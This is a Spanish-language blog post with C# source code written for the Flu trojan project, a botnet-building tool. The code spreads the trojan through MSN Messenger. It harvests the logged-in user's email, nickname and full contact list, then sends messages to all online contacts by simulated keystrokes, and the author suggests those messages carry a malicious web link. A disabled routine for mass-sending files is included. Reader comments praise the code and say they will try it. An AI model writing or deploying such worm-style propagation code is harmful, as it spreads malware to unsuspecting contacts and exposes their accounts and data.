En el anterior post comentaba como hacer una rápida y simple broma en C#. Dicho código lo compartí en el foro de Flu Project. Para explicar que es, un extracto de su web:
El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS (Hacking as a Service).
Pensando en su propagación pensé que una vía puede ser a través de mensajería instantánea y al tratarse de un troyano enfocado principalmente en Windows, que mejor que Msn Messenger. Pues, ¡manos a la obra!
Mis propósitos eran:
- Obtener e-mail y nick del usuario. [Conseguido]
- Listado de todos sus contactos. [Conseguido]
- Listado de contactos conectados para actuar con ellos de la siguiente manera: [Conseguido]
- Enviar mensajes (¿Web maliciosa?). [Conseguido]
- Enviar ficheros. [Por Conseguir]
El método SendFile no me funcionaba y no sé si porque no es compatible con esta versión del messenger. Si alguien pude probarla en versiones anteriores y comentarme resultados sería de agradecer. ;-)
Para el uso de la API se ha de agregar la referencia MessengerAPI desde COM.
Ni que decir tiene, que funciona siempre y cuando estemos conectados.
La publicación en el foro de Flu Project la podéis ver en este enlace.
Aquí tenéis el código.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Messenger_Robe_
{
class FluMSN
{
MessengerAPI.Messenger MSN = new MessengerAPI.Messenger();
private string errorGral = "Se produjo un error. Es posible que el usuario no esté conectado";
private Listcontactos=new List ();
public string NombreUsuario()
{
try
{
return MSN.MyFriendlyName;
}
catch
{
return errorGral;
}
}
public string EmailUsuario()
{
try
{
return MSN.MySigninName;
}
catch
{
return errorGral;
}
}
public string EstadoUsuario()
{
try
{
return MSN.MyStatus.ToString();
}
catch
{
return errorGral;
}
}
public ListObtenerTodosContactos()
{
MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;
try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
contactos.Add(contact.SigninName);
}
return contactos;
}
catch
{
contactos.Add(errorGral);
return contactos;
}
}
public ListObtenerContactosConectados()
{
MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;
try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
if (contact.Status != MessengerAPI.MISTATUS.MISTATUS_OFFLINE)
{
contactos.Add(contact.SigninName);
}
}
return contactos;
}
catch
{
contactos.Add(errorGral);
return contactos;
}
}
public void EnviarMensaje(Listcontactos, string mensaje)
{
try
{
foreach (string usuario in contactos)
{
if (MSN.MyStatus.ToString() == "MISTATUS_INVISIBLE")
{
MSN.InstantMessage(usuario);
SendKeys.Send("{ENTER}");
SendKeys.Send("{ENTER}");
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
else
{
MSN.InstantMessage(usuario);
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
}
}
catch
{
}
}
//public void EnviarArchivo(Listcontactos, string archivo)
//{
// try
// {
// foreach (string usuario in contactos)
// {
// MSN.SendFile(usuario, archivo);
// }
// }
// catch (Exception e)
// {
// MessageBox.Show(e.ToString(),"Error");
// }
//}
}
}
2 comentarios:
gracias por la info de Messenger!
se agradece.
joder que bueno! tengo q probarlo a ver q tal funciona
Publicar un comentario